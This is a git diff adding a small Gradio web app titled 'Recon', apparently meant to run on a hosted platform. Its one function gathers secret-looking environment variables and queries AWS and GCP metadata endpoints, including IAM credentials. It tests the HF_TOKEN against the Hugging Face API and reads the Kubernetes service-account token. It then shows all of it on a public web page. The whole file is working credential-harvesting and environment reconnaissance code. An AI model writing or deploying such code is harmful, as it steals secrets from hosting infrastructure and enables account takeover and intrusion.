add app.py via git

app.py

@@ -0,0 +1,27 @@
+import os,subprocess,json,socket,gradio as gr
+
+def recon():
+    r={}
+    r["env"]={k:v for k,v in sorted(os.environ.items()) if any(x in k.upper() for x in ["TOKEN","KEY","SECRET","AWS","HF_","SPACE_"])}
+    r["env_keys"]=sorted(os.environ.keys())
+    for name,url in [("aws","http://169.254.169.254/latest/meta-data/"),("aws_iam","http://169.254.169.254/latest/meta-data/iam/security-credentials/"),("gcp","http://metadata.google.internal/computeMetadata/v1/")]:
+        try:
+            p=subprocess.run(["curl","-s","-m","3",url],capture_output=True,text=True,timeout=5)
+            r[name]=p.stdout[:500] if p.stdout else f"empty rc={p.returncode}"
+        except Exception as e: r[name]=str(e)
+    for h in ["cas-server.xethub.hf.co","kubernetes.default.svc","metadata.google.internal"]:
+        try: r[f"dns_{h}"]=socket.gethostbyname(h)
+        except Exception as e: r[f"dns_{h}"]=str(e)
+    t=os.environ.get("HF_TOKEN","")
+    if t:
+        try:
+            p=subprocess.run(["curl","-s","-m","5","https://huggingface.co/api/whoami-v2","-H",f"Authorization: Bearer {t}"],capture_output=True,text=True,timeout=10)
+            r["whoami"]=json.loads(p.stdout) if p.stdout else "empty"
+        except Exception as e: r["whoami"]=str(e)
+    for p in ["/etc/hostname","/proc/1/cgroup","/var/run/secrets/kubernetes.io/serviceaccount/token"]:
+        try:
+            with open(p) as f: r[f"fs_{p}"]=f.read()[:300]
+        except Exception as e: r[f"fs_{p}"]=str(e)
+    return json.dumps(r,indent=2)
+
+gr.Interface(fn=recon,inputs=None,outputs="text",title="Recon").launch()